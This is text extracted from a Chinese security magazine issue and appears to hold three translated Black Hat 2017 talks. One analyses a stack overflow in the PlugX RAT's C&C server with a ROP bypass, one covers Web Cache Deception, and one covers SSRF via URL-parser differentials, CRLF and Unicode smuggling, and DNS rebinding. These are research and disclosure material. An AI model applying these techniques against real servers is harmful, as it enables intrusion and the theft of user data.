Gh0st）中存在的漏洞，利用这些漏洞可以反向攻击 C&C Server，这里以 PlugX RAT 为例进

行漏洞分析。 

1.漏洞分析 

1.1 Delphi  

 

PlugX RAT 由 Delphi 语言开发，直接使用 IDA 对其分析会因缺少符号表导致系统库函数

无法识别，分析起来非常不方便。可以使用 IDR 加载 bin 文件，导出 IDC 脚本供 IDA 使用，

如下： 

http://bobao.360.cn/learning/detail/4365.html
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逆向 Delphi 程序时还需要注意的一点就是传参方式，Delphi 中默认的传参方式是前 3

个参数通过寄存器 eax、edx、ecx 传递，其余参数通过堆栈传递，如上图中 ShowMessage、

MoveMemory 的调用。 

1.2 漏洞分析 

漏洞出现在 Server 与 Client 的通信中： 
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Server 在接收到客户端的请求包后首先对包头进行解析，而后将整个包完整地拷贝到栈

上（0x00549D51 MoveMemory），典型的栈溢出。有趣的是，在内存拷贝操作的之后开发

者再一次对包进行解析（0x00549D93, DecodePacket_），在其中判断包的大小并且如果数

据过大会进行弹框提示： 
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但此时上层栈帧已被破坏，再做检查为时已晚。 

2.漏洞利用 

2.1 加解密函数 

目前市面的 PlugX RAT 大概有 3 个版本，对此漏洞而言区别主要在于它们对流量加解密

方式的不同： 

 

以 Type I 为例可编写如下加解密函数： 
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2.2 保护机制的绕过 

 

No GS、NO PIE，只需要考虑 DEP，而程序中存在丰富的 Gadgets，例如 CreateProcess、

WinExec、VirtualAlloc、VirtualProtect 等，这使得通过 ROP 绕过 DEP 变得十分简单。 

基于 VirtualProtect 可编写如下 ROP： 
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利用 

 

http://p0.qhimg.com/t01da9a060b13ddbe29.gif  

样本、IDB 及完整的 exploit 可从这里下载：

http://git.sh3ll.me/chu/bh17-plugx-stack-overflow  

3.参考 

http://p0.qhimg.com/t01da9a060b13ddbe29.gif
http://git.sh3ll.me/chu/bh17-plugx-stack-overflow
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https://www.blackhat.com/docs/us-17/thursday/us-17-Grange-Digital-Vengeanc

e-Exploiting-The-Most-Notorious-C&C-Toolkits.pdf  

https://www.blackhat.com/docs/asia-14/materials/Haruyama/Asia-14-Haruyama

-I-Know-You-Want-Me-Unplugging-PlugX.pdf  

  

https://www.blackhat.com/docs/us-17/thursday/us-17-Grange-Digital-Vengeance-Exploiting-The-Most-Notorious-C&C-Toolkits.pdf
https://www.blackhat.com/docs/us-17/thursday/us-17-Grange-Digital-Vengeance-Exploiting-The-Most-Notorious-C&C-Toolkits.pdf
https://www.blackhat.com/docs/asia-14/materials/Haruyama/Asia-14-Haruyama-I-Know-You-Want-Me-Unplugging-PlugX.pdf
https://www.blackhat.com/docs/asia-14/materials/Haruyama/Asia-14-Haruyama-I-Know-You-Want-Me-Unplugging-PlugX.pdf
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详解 Web 缓存欺骗攻击 

翻译：興趣使然的小胃 

译文来源：【安全客】http://bobao.360.cn/learning/detail/4175.html  

原文来源：

https://www.blackhat.com/docs/us-17/wednesday/us-17-Gil-Web-Cache-Deception-Attack-wp.p

df 

一、摘要 

Web 缓存欺骗（Web Cache Deception）是一种新的 web 攻击方法，包括 web 框架以

及缓存机制等在内的许多技术都会受到这种攻击的影响。攻击者可以使用这种方法提取 web

用户的私人及敏感信息，在某些场景中，攻击者利用这种方法甚至可以完全接管用户账户。 

Web 应用框架涉及许多技术，这些技术存在缺省配置或脆弱性配置，这也是 Web 缓存

欺骗攻击能够奏效的原因所在。 

如果某个用户访问看上去人畜无害、实际上存在漏洞的一个 URL，那么该 Web 应用所使

用的缓存机制就会将用户访问的具体页面以及用户的私人信息存储在缓存中。 

二、背景介绍 

2.1 什么是 Web 缓存 

很多网站都会使用 web 缓存功能来减少 web 服务器的延迟，以便更快地响应用户的内容

请求。为了避免重复处理用户的请求，web 服务器引入了缓存机制，将经常被请求的文件缓

存起来，减少响应延迟。 

通常被缓存的文件都是静态文件或者公共文件，如样式表（css）、脚本（js）、文本文件

（txt）、图片（png、bmp、gif）等等。通常情况下，这些文件不会包含任何敏感信息。许

多指导性文章在提及 web 缓存的配置时，会建议缓存所有公开型静态文件，并忽略掉这些文

件的 HTTP 缓存头信息。 

有多种方法能够实现缓存，比如，浏览器端也可以使用缓存机制：缓存文件后，一段时间

内浏览器不会再次向 web 服务器请求已缓存的文件。这类缓存与 web 缓存欺骗攻击无关。 

实现缓存的另一种方法就是将一台服务器部署在客户端和 web 服务器之间，充当缓存服

务器角色，这种实现方法会受到 web 缓存欺骗攻击影响。这类缓存有各种表现形式，包括： 

https://www.blackhat.com/docs/us-17/wednesday/us-17-Gil-Web-Cache-Deception-Attack-wp.pdf
https://www.blackhat.com/docs/us-17/wednesday/us-17-Gil-Web-Cache-Deception-Attack-wp.pdf
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1、CDN（Content Delivery Network，内容分发网络）。CDN 是一种分布式代理网络，

目的是快速响应内容请求。每个客户端都有一组代理服务器为其服务，缓存机制会选择离客户

端最近的一个节点来提供服务。 

2、负载均衡（Load balancer）。负载均衡除了能够通过多台服务器平衡网络流量，也能

缓存内容，以减少服务器的延迟。 

3、反向代理（Reverse proxy）。反向代理服务器会代替用户向 web 服务器请求资源，

然后缓存某些数据。 

了解了这些缓存机制后，让我们来看看 web 缓存的实际工作过程。举个例子，

“http://www.example.com”配置了一个反向代理服务器作为 web 缓存。与其他网站类似，

这个网站使用了公共文件，如图片、css 文件以及脚本文件。这些文件都是静态文件，该网站

的所有或绝大部分用户都会用到这些文件，对每个用户来说，此类文件返回的内容没有差别。

这些文件没有包含任何用户信息，因此从任何角度来看，它们都不属于敏感文件。 

某个静态文件第一次被请求时，该请求会直接穿透代理服务器。缓存机制没见过这个文件，

因此会向服务器请求这个文件，然后服务器会返回文件内容。现在，缓存机制需要识别所接收

的文件的类型。不同缓存机制的处理流程有所不同，但在大多数情况下，代理服务器会根据

URL 的尾部信息提取文件的扩展名，然后再根据具体的缓存规则，决定是否缓存这个文件。 

如果文件被缓存，下一次任何客户端请求这个文件时，缓存机制不需要向服务器发起请求，

会直接向客户端返回这个文件。 

2.2 服务器的响应 

Web 缓存欺骗攻击依赖于浏览器以及 web 服务器的响应，这一点与 RPO 攻击类似，读

者可以参考 The Spanner[1]以及 XSS Jigsaw[2]发表的两篇文章了解相关概念。 

假设某个 URL 地址为“http://www.example.com/home.php/nonexistent.css ”，其

中 home.php 是一个真实页面，而 nonexistent.css 是个不存在的页面，那么当用户访问这

个地址，会出现什么情况呢？ 

在这种情况下，浏览器会向该 URL 发送一个 GET 请求。我们比较感兴趣的是服务器的反

应。取决于服务器的实现技术以及具体配置，web 服务器可能会返回一个 200 OK 响应，同

时返回 home.php 页面的内容，表明该 URL 与已有的页面一致。 

http://www.example.com/home.php/nonexistent.css
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服务器返回的 HTTP 响应头与 home.php 页面的响应头相同：即这两个响应头包含一样

的缓存头部以及一样的内容类型（本例中内容类型为 text/html），如下图所示： 

三、Web 缓存欺骗方法 

未经授权的攻击者很容易就能利用这个漏洞，具体步骤如下： 

1、攻击者诱使用户访问“https://www.bank.com/account.do/logo.png ”。 

2、受害者的浏览器会请求“https://www.bank.com/account.do/logo.png ”。 

3、请求到达代理服务器，代理服务器没有缓存过这个文件，因此会向 web 服务器发起请

求。 

4、Web 服务器返回受害者的账户页面，响应代码为 200 OK，表明该 URL 与已有页面

一致。 

5、代理机制收到文件内容，识别出该 URL 的结尾为静态文件扩展名（.png）。由于在代

理服务器上已经设置了对所有静态文件进行缓存，并会忽略掉缓存头部，因此伪造的.png 文

件就会被缓存下来。与此同时，缓存目录中会创建名为“account.do”的一个新的目录，

logo.png 文件会缓存在这个目录中。 

6、用户收到对应的账户页面。 

7、攻击者访问“https://www.bank.com/account.do/logo.png ”页面。请求到达代

理服务器，代理服务器会将已缓存的受害者账户页面发给攻击者的浏览器。 

https://www.bank.com/account.do/logo.png
https://www.bank.com/account.do/logo.png
https://www.bank.com/account.do/logo.png
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四、攻击意义 

如果攻击成功，那么包含用户私人信息的存在漏洞的页面就会被缓存下来，可以被公开访

问。被缓存的文件是一个静态文件，攻击者无法冒充受害者的身份。该无文件无法被覆盖，直

到过期之前仍然有效。 

如果服务器的响应内容中包含用户的会话标识符（某些场景中会出现这种情况）、安全应

答、CSRF 令牌等信息，那么攻击造成的后果将会更加严重。这种情况下，攻击者可以借助其

他攻击手段最终完全掌控受害者账户。 

五、攻击条件 

攻击者若想实施 Web 缓存欺骗攻击，必须满足如下 3 个条件： 

1、当访问如“http://www.example.com/home.php/nonexistent.css”之类的页面时，

服务器需要返回对应的 home.php 的内容。 

2、Web 应用启用了 Web 缓存功能，并且会根据文件的扩展名来缓存，同时会忽略掉任

何缓存头部。 

3、受害者在访问恶意 URL 地址时必须已经过认证。 

六、现有的 Web 框架 

此类攻击是否能奏效，其中一个因素涉及到 Web 应用对特定 URL 的处理过程，这类 URL

由一个合法的 URL 以及尾部一个不存在的文件构成，如

“http://www.example.com/home.php/nonexistent.css ”。 

http://www.example.com/home.php/nonexistent.css
http://p9.qhimg.com/t01cba852d2ab740eed.png
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在这一部分内容中，我们会以具体的例子，向大家演示如何针对现有的几种 web 框架实

施 web 缓存攻击，同时也会解释这些框架的具体配置及工作流程。 

6.1 PHP 

如果我们创建一个“纯净版”的 PHP Web 应用，没有使用任何框架，那么该应用会忽略

掉 URL 尾部的任何附加载荷，返回真实页面的内容，并且响应代码为 200 OK。 

比如，当用户访问“http://www.example.com/login.php/nonexistent.gif”时，Web

应用会返回 login.php 的内容，这意味着此时发起攻击的第 1 个条件已经得到满足。 

 

6.2 Django 

Django 使用调度器（dispatcher）来处理 Web 请求，调度器使用 urls 文件来实现。在

这些文件中，我们可以设置正则表达式来识别 URI 中具体请求的资源，然后返回对应的内容。 

http://p1.qhimg.com/t015d845cdc19b93cc7.png
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上图是 Django 的常见配置，根据这个配置，当客户端请求

“http://www.sampleapp.com/inbox/”时，服务器会返回 Inbox 页面的内容。 

 

如果将某个不存在的文件附加到该 URL 尾部（如

“http://www.sampleapp.com/inbox/test.css”），这种正则表达式同样会匹配成功。因此，

Django 同样满足发起攻击的第 1 个条件。 

 

此外，如果正则表达式忽略掉“Inbox”尾部的斜杠，那么这种表达式也存在漏洞。 

 

http://p4.qhimg.com/t015d352f841234bccd.png
http://p3.qhimg.com/t0105c73ccfa741cc48.png
http://p2.qhimg.com/t01d2c65d8fd56e56b7.png
http://p3.qhimg.com/t01d5e71741f9318d90.png
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这种正则表达式不仅会匹配正常的 URL（即“http://www.sampleapp.com/inbox ”），

也会匹配不存在的 URL（如“http://www.sampleapp.com/inbox.css ”）。 

 

如果正则表达式尾部使用了“$”符，那么就不会匹配这种恶意 URL 地址。 

 

 

6.3 ASP.NET 

ASP.NET 框架中有个内置的功能，叫做 FriendlyURLs，这个功能的主要目的是使 URL 看

起来更加“整洁”同时也更加友好。当用户访问“https://www.example.com/home.aspx ”

时，服务器会删掉尾部的扩展名，将用户重定向至“https://www.example.com/home”。 

我们可以在 Route.config 文件中配置这个功能，在 ASP.NET 应用中，这个功能默认情况

下处于启用状态。 

http://www.sampleapp.com/inbox
http://www.sampleapp.com/inbox.css
https://www.example.com/home.aspx
http://p6.qhimg.com/t01ff0ecfa1c742df03.png
http://p3.qhimg.com/t01d4b6313837e3c465.png
http://p1.qhimg.com/t017dd448c60871315b.png
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启用 FriendlyURLs 功能时，当用户通过

“http://localhost:39790/Account/Manage.aspx”地址访问已有的 Manage.aspx 页面时，

服务器会移除.aspx 扩展名，显示页面内容。 

 

在这种配置下，当用户访问“http://localhost:39790/Account/Manage.aspx/test.css”

时，.aspx 扩展名会被移除，用户会被重定向到

“http://localhost:39790/Account/Manage/test.css”，此时服务器会返回 404 错误。这意

味着当 ASP.NET 启用 FriendlyURLs 功能时，攻击条件无法满足。 

 

虽然 FriendlyURLs 默认处于启用状态，但很多网站并没有使用这个功能。该功能可以在

Route.config 文件中关闭。 

http://p3.qhimg.com/t018daf8df6fc00b020.png
http://p2.qhimg.com/t01097e333d210f3411.png
http://p2.qhimg.com/t01df8499a482624440.png
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关闭该功能后，访问攻击 URL 地址时服务器会返回 200 OK 响应，并且会返回

Manage.aspx 页面的内容。 

 

七、现有的缓存机制 

攻击的第 2 个条件是 web 应用启用了 Web 缓存功能，并且会根据文件的扩展名来缓存，

同时会忽略掉任何缓存头部。下面我们会以现有的某些缓存机制为例，介绍这些机制的缓存过

程以及它们如何识别接收到的文件的类型。 

7.1 Cloudflare 

当来自 web 服务器的文件到达 Cloudflare 时，文件会经过两个阶段的处理过程。第一个

阶段名为资格阶段（Eligibility Phase），此时 Cloudflare 会检查目标站点是否设置了缓存功

能，也会检查文件来源目录是否设置了缓存功能。如果检查通过（检查基本都会通过，这也是

为什么网站一开始就使用 Cloudflare 服务的原因所在），那么 Cloudflare 服务器就会检查具

体的 URL 地址是否以如下静态扩展名结尾： 

class, css, jar, js, jpg, jpeg, gif, ico, png, bmp, pict, csv, doc, docx, xls, xlsx, ps, pdf, 

http://p3.qhimg.com/t01edc33856e0608739.png
http://p4.qhimg.com/t01e591dd673f0cf2c1.png
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pls, ppt, pptx, tif, tiff, ttf, otf, webp, woff, woff2, svg, svgz, eot, eps, ejs, swf, torrent, 

midi, mid 

如果 URL 地址的确以上述扩展名结尾，那么文件就会到达第二阶段的处理过程，即失格

阶段（Disqualification Phase），此时 Cloudflare 服务器会检查 HTTP 缓存头部是否存在。 

不幸的是，当我们访问恶意 URL 地址时，web 服务器会返回已有的动态页面的缓存头部，

这意味着服务器很有可能会返回带有“no-cache”指令的文件。 

幸运的是，Cloudflare 存在一个名为“边缘缓存过期 TTL（Edge cache expire TTL）”

的功能，这个功能可以用来覆盖任何已有的头部信息。将该功能设置为启用（on）状态时，

服务器返回的带有“no-cache”指令的文件仍会被缓存下来。出于各种原因，在 Cloudflare

的建议下，该功能通常会处于启用状态。 

 

7.2 IIS ARR 

应用程序请求路由（Application Request Routing，ARR）模块可以为 IIS 带来负载均

衡功能。 

ARR 模块提供的一个功能就是缓存功能。Web 服务器可以通过负载均衡器设置缓存规则，

以便将文件保存到缓存目录中。在创建新的缓存规则时，我们使用通配符和目标扩展名来定义

待缓存的文件类型。当文件经过 ARR 处理时，ARR 会根据文件对应的 URL 来匹配缓存规则。

实际上，ARR 会根据 URL 尾部的扩展名来识别文件类型。 

此外，IIS ARR 中还包含一个选项，可以忽略掉文件的缓存头部，导致该规则在任何情况

下都适用。 

http://p3.qhimg.com/t019a74244f19315fe6.png
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如下图这个例子中，IIS ARR 与两个 web 服务器相连接，并且根据配置会缓存所有的样

式表和 JavaScript 文件。 

 

如果客户端访问恶意 URL（http://www.sampleapp.com/welcome.php/test.css ），那

么缓存目录中就会生成一个新的目录，目录名为 welcome.php，在该目录中，会生成名为

test.css 的一个新的文件，该文件的内容为用户访问的 welcome.php 页面的内容。 

http://www.sampleapp.com/welcome.php/test.css
http://p6.qhimg.com/t01d81f1d4490f51638.png
http://p5.qhimg.com/t01a52d215a9b8e3720.png


  安全客-2017 年季刊-第 3 期 

—131— 
 

 

7.3 NGINX 

作为负载均衡服务器，NGINX 服务器也可以提供缓存功能，来缓存从 web 服务器返回的

页面。 

我们可以通过 NGINX 配置文件来配置缓存规则。如果使用下图所示的配置文件，那么

NGINX 就会缓存特定类型的静态文件，并且会忽略这些文件的缓存头部。 

 

当来自于 web 服务器的某个页面到达 NGINX 时，NGINX 会搜索 URL 尾部的扩展名，

根据扩展名识别文件的类型。 

首先，缓存目录中没有缓存任何文件。 

 

http://p6.qhimg.com/t0136d0b6a17e47373f.png
http://p2.qhimg.com/t01295464b2ddd3e887.png
http://p9.qhimg.com/t01244458bacf43f240.png
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当经过认证的用户访问恶意 URL 时

（http://www.sampleapp.com/app/welcome.php/test.css），用户的页面就会被缓存到缓

存目录中。 

 

 

接下来，未经认证的攻击者会访问恶意 URL，此时 NGINX 服务器会返回已缓存的文件，

文件中包含用户的隐私数据。 

http://p3.qhimg.com/t012e81ff1c385b6e27.png
http://p3.qhimg.com/t012b8959cc8260366b.png
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八、缓解措施 

可以使用以下几种方法缓解此类攻击。 

1、配置缓存策略，只有当文件的 HTTP 缓存头部允许缓存时，才会缓存这些文件。 

2、将所有的静态文件保存到某个指定目录，并且只缓存这个目录。 

3、如果缓存组件允许的话，需要将其配置为根据文件的具体内容来缓存文件。 

4、配置 web 服务器，使其在处理诸如

“http://www.example.com/home.php/nonexistent.css”的页面时，不会返回 home.php

的内容，而会返回 404 或者 302 响应。 

九、总结 

Web 缓存欺骗攻击实施起来没有那么容易，但依然可以造成严重的后果，包括泄露用户

的隐私信息、攻击者可以完全控制用户的账户等等。此前我们发现一些知名的网站会受到此类

http://p8.qhimg.com/t0143569a72e2e48b21.png
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攻击影响，并且这些网站中绝大部分由最为常见的 CDN 服务商来提供服务。我们有理由相信，

此时此刻仍有许多网站会沦为此类攻击的受害者。 

虽然这份白皮书中只提到了可以满足 web 缓存欺骗攻击条件的几种技术，但还有其他许

多 web 框架以及缓存机制存在脆弱性，攻击者可以使用类似技术发起攻击。 

如果 Web 框架以及缓存机制可以创造条件来满足漏洞场景，那么我们认为这些 Web 框

架及缓存机制本身并没有存在这类漏洞，它们的主要问题是脆弱性配置问题。 

为了防御 web 缓存欺骗攻击，技术人员首先应当了解此类攻击发起的条件。此外，厂商

应该有所作为，避免他们的产品符合攻击条件。以上要求可以通过禁用特定功能、更改默认设

置及行为、提供警报信息以增强技术人员的警觉意识来实现。 
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SSRF 的新纪元：在编程语言中利用 URL 解析器 

翻译：math1as 

译文来源：【安全客】http://bobao.360.cn/learning/detail/4183.html  

原文来源： 

https://www.blackhat.com/docs/us-17/thursday/us-17-Tsai-A-New-Era-Of-SSRF-Exploiting-URL-

Parser-In-Trending-Programming-Languages.pdf 

什么是 SSRF 

[1] 服务器端请求伪造 

[2] 穿透防火墙,直达内网 

[3] 让如下的内网服务陷入危险当中 

Structs2 

Redis 

Elastic 

SSRF 中的协议'走私' 

[1] 让 SSRF 的利用更加有效 

本质上说,是利用原本的协议夹带信息,攻击到目标的应用 

[2] 用来'走私'的协议必须是适合的,比如 

基于 HTTP 的各类协议=>Elastic,CouchDB,Mongodb,Docker 

基于 Text 的各类协议=>FTP,SMTP,Redis,Memcached 

一个有趣的例子 

像这样的一个协议 

 

我们来分析一下,各个不同的 python 库,分别请求到的是哪个域名呢？ 

http://p5.qhimg.com/t012da6fc6483859e74.png
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可以看到,Python 真是个矛盾的语言呢。 

另一个有趣的例子 

[1] HTTP 协议中的 CRLF(换行符)注入 

[2] 使用 HTTP 协议'走私'信息来攻击 SMTP 协议 

我们尝试构造 CRLF 注入,来进行如下的攻击 

 

STMP '讨厌' HTTP 协议 

这似乎是不可利用的,可是,真的如此么? 

我们在传统的 SSRF 利用中都使用 gopher 协议来进行相关攻击 

可是事实上,如果真实的利用场景中不支持 gopher 协议呢? 

利用 HTTPS 协议:SSL 握手中,什么信息不会被加密? 

[1] HTTPS 协议中的 CRLF(换行符)注入 

[2] 化腐朽为神奇 - 利用 TLS SNI(Server Name Indication),它是用来改善 SSL 和 TLS

的一项特性 

http://p5.qhimg.com/t0140b50133fc83aae3.png
http://p3.qhimg.com/t01de444a27af7e3c55.png
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允许客户端在服务器端向其发送证书之前请求服务器的域名。 

https://tools.ietf.org/html/rfc4366RFC 文档  

简单的说,原本的访问,是将域名解析后,向目标 ip 直接发送 client hello,不包含域名 

而现在包含了域名,给我们的 CRLF 攻击提供了利用空间 

我们尝试构造 CRLF 注入,来进行如下的攻击 

 

监听 25 端口 

 

分析发现,127.0.0.1 被作为域名信息附加在了 client hello 之后 

 

由此我们成功的向 STMP'走私'了信息,实施了一次攻击 

URL 解析中的问题 

[1] 所有的问题,几乎都是由 URL 解析器和请求函数的不一致造成的。 

[2] 为什么验证一个 URL 的合法性是很困难的? 

1.在 RFC2396/RFC3986 中进行了说明,但是也只是停留在说明书的层面。 

2.WHATWG(网页超文本应用技术工作小组)定义了一个基于 RFC 的具体实现 

但是不同的编程语言仍然使用他们自己的实现 

RFC 3986 中定义的 URL 组成部分 

大致用这张图片来说明 

http://p2.qhimg.com/t01e40451cbff15cd28.png
http://p5.qhimg.com/t01433aa98521613722.png
http://p8.qhimg.com/t01c56cd7acfa314de8.png
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其中的协议部分,在真实场景中一般都为 http 或 https 

而查询字符串和 fragment,也就是#号后的部分,我们实际上是不关心的,因为这和我们的

利用无关 

所以,我们着重看的也就是 authority 和 path 部分 

那么,在这几个部分中,能不能进行 CRLF 注入? 

各个语言以及他们对应的库的情况如下图所示 

 

可以看到支持 CRLF 注入的部分还是很多的,但是除了在实际的请求中能利用 CRLF 注入外 

还要能通过 URL 解析器的检查,而这个图也列出来了对应的情况。 

关于 URL 解析器 

[1] 让我们思考如下的 php 代码 

http://p2.qhimg.com/t019f5f6a6200b14ceb.png
http://p2.qhimg.com/t012b9bca3ec00d5ba2.png
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在这段代码中,我们最后使用 readfile 函数来实施我们的 SSRF 攻击 

但是,我们构造出的 URL 需要经过 parse_url 的相应检查 

误用 URL 解析器的后果 

当我们对上述的 php 脚本传入这样的一个 URL 

 

对于我们的请求函数 readfile 来说,它所请求的端口是 11211 

而相反的,对于 parse_url 来说,它则认为这个 url 的端口号是 80,符合规定 

 

这就产生了一个差异化的问题,从而造成了 SSRF 的成功利用 

让我们来看看,在 RFC3986 中,相关的定义 

http://p3.qhimg.com/t0132d296b8025ae9a8.png
http://p9.qhimg.com/t01b6b99253d3671734.png
http://p7.qhimg.com/t01af94d76d66fe999d.png
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那么,按照这个标准,当我们传入如下 URL 的时候,会发生什么呢 

 

对比我们的两个函数 

 

可以看到,parse_url 最终得到的部分实际上是 google.com 

而 readfile 则忠实的执行了 RFC 的定义,将链接指向了 evil.com 

进行一下简单的分析 

[1] 这样的问题同样影响了如下的编程语言 

cURL,Python 

[2] RFC3962 的进一步分析 

在 3.2 小节中有如下的定义:authority(基础认证)部分应该由//作为开始而由接下来的一

个/号,或者问号 

以及 #号作为一个结束,当然,如果都没有,这个部分将延续到 URL 的结尾。 

cURL 的利用 

http://p5.qhimg.com/t012c9b49c995f4f0dd.png
http://p6.qhimg.com/t0198914d4cb8173803.png
http://p3.qhimg.com/t01d2ab51ab659277ca.png
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参照我们刚才所得到的结论 

 

对这样的一个 URL 进行分析和测试 

 

可以发现,在 cURL 作为请求的实施者时,它最终将 evil.com:80 作为了目标 

而其他的几种 URL 解析器则得到了不一样的结果,产生了不一致。 

当他们被一起使用时,可以被利用的有如下的几种组合 

http://p7.qhimg.com/t01630d234ddc142e7b.png
http://p5.qhimg.com/t011618cb3b93c2e05b.png
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于是我向 cURL 团队报告了这个问题,很快的我得到了一个补丁 

但是这个补丁又可以被添加一个空格的方式绕过 

 

但是,当我再次向 cURL 报告这个情况的时候,他们认为,cURL 并不能 100%的验证 URL 的

合法性 

它本来就是要让你来传给他正确的 URL 参数的 

并且他们表示,这个漏洞不会修复,但是上一个补丁仍然在 7.54.0 版本中被使用了 

NodeJS 的 Unicode 解析问题 

让我们来看如下的一段 nodeJS 代码 

http://p3.qhimg.com/t0159bce0a767db25eb.png
http://p0.qhimg.com/t013ed5337e5043980d.png
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可以看到,阻止了我们使用..来读取上层目录的内容 

当对其传入如下的 URL 时,会发生什么呢 

 

注意,这里的 N 是 U+FF2E,也就是拉丁文中的 N,其 unicode 编码为 /xFF/x2E 

 

最终,由于 nodeJS 的处理问题 \xFF 被丢弃了,剩下的\x2E 被解析为. 

于是我们得到了如下的结论 

 

在 NodeJS 的 http 模块中, NN/ 可以起到../ 的作用,绕过特定的过滤 

那么,nodeJS 对于之前我们所研究的 CRLF 注入,又能不能够加以防御呢? 

[1] HTTP 模块可以避免直接的 CRLF 注入 

[2] 那么,当我们将换行符编码时,会如何呢? 

http://p3.qhimg.com/t011b45e2c8a03d1d05.png
http://p0.qhimg.com/t01f7ec5e8d1bfa9d89.png
http://p3.qhimg.com/t016fe07fd8c14673e4.png
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很明显,这时候它并不会进行自动的解码操作 

如何打破这个僵局呢? 使用 U+FF0D 和 U+FF0A 

 

我们成功的往请求中注入了新的一行 

Glibc 中的 NSS 特性 

在 Glibc 的源代码文件 resolv/ns_name.c 中,有一个叫 ns_name_pton 的函数 

 

它遵循 RFC1035 标准,把一个 ascii 字符串转化成一个编码后的域名 

这有什么可利用的呢? 

让我们来看下面的代码 

http://p0.qhimg.com/t01615a34a714bf5b77.png
http://p5.qhimg.com/t0120385d1cb5273f57.png
http://p8.qhimg.com/t015b1007e578c309c1.png
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通过 gethostbyname 函数来解析一个域名 

在字符串中,\代表转义符号,因此用\\097 来代表 ascii 码为 97,也就是字母 a 

成功的解析到了 orange.tw 的 ip 地址 

那么我们看看 python 的 gethostbyname 

 

更让我们惊奇的是,它忽略了这些\号 而解析到了 orange.tw 

同样的,一些类似的特性存在于 linux 的 getaddrinfo()函数中,它会自动过滤掉空格后的垃

圾信息 

 

python socket 中的 gethostbyname 是依赖于 getaddrinfo()函数的 

因此出现了类似的问题,当传入 CRLF 时,后面的部分被丢弃了 

http://p9.qhimg.com/t01ee33633d258f8351.png
http://p9.qhimg.com/t01924acb116679b307.png
http://p7.qhimg.com/t01eab354b18dba2c01.png
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说了这么多,这些特性有什么可以利用的地方呢? 

让我们来看如下的几种 payload 

 

可以想到的是,如果利用 Glibc 的 NSS 特性,当检查 URL 时,gethostbyname 将其识别为

127.0.0.1 

为什么%2509 能够生效呢?部分的函数实现可能会解码两次,甚至循环解码到不含 URL 编

码 

那么接下来,实际发起访问时,我们就可以使用 CRLF 注入了 

 

由此注入了一条 redis 语句 

同样的,当 HTTPS 开启了之前我们提到的 TLS SNI(Server Name Indication)时 

它会把我们传入的域名放到握手包的 client hello 后面 

http://p5.qhimg.com/t0187842c9e2b3d72e0.png
http://p3.qhimg.com/t016e2af036380b7c89.png
http://p2.qhimg.com/t01063d523ba0e82a9d.png
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这样我们就成功的注入了一条语句 

 

而我们还可以进一步延伸,比如曾经的 python CRLF 注入漏洞,CVE-2016-5699 

可以看到,这里其实允许 CRLF 后紧跟一个空格 

 

由此绕过了_is_illegal_header_value()函数的正则表达式 

但是,相应的应用会接受在行开头的空格么? 

 

http://p1.qhimg.com/t0171a14bab8bfb92a1.png
http://p8.qhimg.com/t015198d1feec8b3e4e.png
http://p6.qhimg.com/t013e276f81b3d50450.png
http://p4.qhimg.com/t0132c7e8fd1a608637.png


  安全客-2017 年季刊-第 3 期 

—149— 
 

可以看到,redis 和 memcached 都是允许的,也就产生了利用。 

 

利用 IDNA 标准 

IDNA 是,Internationalizing Domain Names in Applications 的缩写,也就是'让域名变

得国际化' 

 

上图是 IDNA 各个版本的标准,这个问题依赖于 URL 解析器和实际的请求器之间所用的

IDNA 标准不同 

可以说,仍然是差异性的攻击。 

 

比如,我们来看这个例子,将这个希腊字母转化为大写时,得到了 SS 

其实,这个技巧在之前的 xss 挑战赛 prompt 1 to win 当中也有用到 

这里我们面对的的是 Wordpress 

1.它其实很注重保护自己不被 SSRF 攻击 

2.但是仍然被我们发现了 3 种不同的方法来绕过它的 SSRF 保护; 

3.在 2017 年 2 月 25 日就已经向它报告了这几个漏洞,但是仍然没有被修复 

4.为了遵守漏洞披露机制,我选择使用 MyBB 作为接下来的案例分析 

实际上,我们仍然是追寻'差异性'来达到攻击的目的 

这次要分析的,是 URL 解析器,dns 检查器,以及 URL 请求器之间的差异性 

http://p3.qhimg.com/t01e03097ff9fb55427.png
http://p4.qhimg.com/t017c98254a6dfc170d.png
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上表列出了三种不同的 web 应用分别使用的 URL 解析器,dns 检查器,以及 URL 请求器 

[1] 第一种绕过方法 

其实就是之前大家所普遍了解的 dns-rebinding 攻击 

 

在 dns 解析和最终请求之间有一个时间差,可以通过重新解析 dns 的方法进行绕过 

 

http://p6.qhimg.com/t01cb754253e0708d6b.png
http://p6.qhimg.com/t01dbfa60493964ce85.png
http://p8.qhimg.com/t01d1facdd56fbf97e2.png
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1.gethostbyname()函数得到了 ip 地址 1.2.3.4 

2.检查发现,1.2.3.4 不在黑名单列表中 

3.用 curl_init()来获得一个 ip 地址,这时候 cURL 会再次发出一次 DNS 请求 

4.最终我们重新解析 foo.orange.tw 到 127.0.0.1 产生了一个 dns 攻击 

[2] 第二种绕过方法 

利用 DNS 解析器和 URL 请求器之间的差异性攻击 

 

对于 gethostbynamel()这个 DNS 解析器所用的函数来说 

它没有使用 IDNA 标准的转换,但是 cURL 却使用了 

于是最终产生的后果是,gethostbynamel()解析不到对应的 ip,返回了 false 

也就绕过了这里的检查。 

[3] 第三种绕过方法 

利用 URL 解析器和 URL 请求器之间的差异性攻击 

这个漏洞已经在 PHP 7.0.13 中得到了修复 

 

有趣的是,这里最终请求到的是 127.0.0.1:11211 

而下一个 payload 则显示了 curl 的问题,最终也被解析到本地 ip 

http://p6.qhimg.com/t011089abd3b138eeaf.png
http://p3.qhimg.com/t016da0176d110316f4.png
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而这个漏洞也在 cURL 7.54 中被修复 

可惜的是,ubuntu 17.04 中自带的 libcurl 的版本仍然是 7.52.1 

但是,即使是这样进行了修复,参照之前的方法,添加空格仍然继续可以绕过 

 

而且 cURL 明确表示不会修复 

协议'走私' 案例分析 

这次我们分析的是 github 企业版 

它使用 ruby on rails 框架编写,而且代码已经被做了混淆处理 

关于 github 企业版的远程代码执行漏洞 

是 github 三周年报告的最好漏洞 

它把 4 个漏洞结合为一个攻击链,实现了远程代码执行的攻击 

[1] 第一个漏洞:在 webhooks 上的 SSRF 绕过 

webhooks 是什么? 

http://p4.qhimg.com/t0150b45264fe1d90d1.png
http://p3.qhimg.com/t01990188ff014a793b.png
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这就很明显了,它含有发送 POST 数据包的功能 

而它是如何实现的呢? 

请求器使用了 rubygem-faraday 是一个 HTTP/REST 客户端库 

而黑名单则由其内部的 faraday-restrict-ip-addresses 所定义 

它过滤了 localhost,127.0.0.1 等地址 

但是仅仅用一个简单的 0 就可以加以绕过,像这样 

 

但是,这个漏洞里有好几个限制,比如 

